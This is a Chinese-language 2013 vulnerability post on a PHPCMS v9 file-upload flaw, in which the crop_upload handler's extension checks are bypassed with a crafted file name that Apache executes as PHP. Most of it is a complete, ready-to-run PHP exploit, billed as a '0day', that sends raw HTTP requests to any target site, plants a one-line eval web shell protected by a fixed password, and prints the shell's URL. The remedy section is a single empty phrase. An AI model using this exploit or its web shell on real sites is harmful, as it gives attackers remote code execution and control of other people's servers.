PHPCMS v9 Getshell

admin · 发表于 2013-3-7 13:06:41

漏洞类型：文件上传导致任意代码执行

简要描述：

phpcms v9 getshell (apache)
详细说明：

漏洞文件：phpcms\modules\attachment\attachments.php

public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
后缀检测：phpcms\modules\attachment\functions\global.func.php

function is_image($file) { 　　 $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); 　　 $ext = fileext($file);关键地方　　 return in_array($ext,$ext_arr) ? $ext_arr :false; 　　}

关键函数:

function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }

　　Fileext函数是对文件后缀名的提取。
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
经过此函数提取到的后缀还是jpg，因此正在is_image()函数中后缀检测被绕过了。
我们回到public function crop_upload() 函数中
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
在经过了is_image的判断之后又来了个.php的判断，在此程序员使用的是strpos函数
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀，大家应该明白了，它用在apache搭建的服务器上可以被解析。
漏洞证明：

exp:

<?php
error_reporting(E_ERROR);
set_time_limit(0);
$pass="ln";
print_r('
+---------------------------------------------------------------------------+
PHPCms V9 GETSHELL 0DAY
code by L.N.

apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
+---------------------------------------------------------------------------+
');
if ($argc < 2) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url path

Example:
1.php '.$argv[0].' lanu.sinaapp.com
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
+---------------------------------------------------------------------------+
');
exit;
}

$url = $argv[1];
$path = $argv[2];
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
if($ret=Create_dir($url,$path))
{
//echo $ret;
$pattern = "|Server:[^,]+?|U";
preg_match_all($pattern, $ret, $matches);
if($matches[0][0])
{
if(strpos($matches[0][0],'Apache') == false)
{
echo "\n亲！此网站不是apache的网站。\n";exit;
}
}
$ret = GetShell($url,$phpshell,$path,$file);
$pattern = "|http:\/\/[^,]+?\.,?|U";
preg_match_all($pattern, $ret, $matches);
if($matches[0][0])
{
echo "\n".'密码为: '.$pass."\n";
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
}
else
{
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
preg_match_all($pattern, $ret, $matches);
if($matches[0][0])
{
echo "\n".'密码为: '.$pass."\n";
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
}
else
{
echo "\r\n没得到！\n";exit;
}
}
}

function GetShell($url,$shell,$path,$js)
{
$content =$shell;
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
$data .= "Host: ".$url."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$data .= "Connection: close\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($url,80);
if (!$ock)
{
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
}
else
{
fwrite($ock,$data);
$resp = '';
while (!feof($ock))
{
$resp.=fread($ock, 1024);
}
return $resp;
}
}

function Create_dir($url,$path='')
{
$content ='I love you';
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
$data .= "Host: ".$url."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$data .= "Connection: close\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($url,80);
if (!$ock)
{
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
}
fwrite($ock,$data);
$resp = '';
while (!feof($ock))
{
$resp.=fread($ock, 1024);
}
return $resp;
}
?>

修复方案：

过滤过滤再过滤

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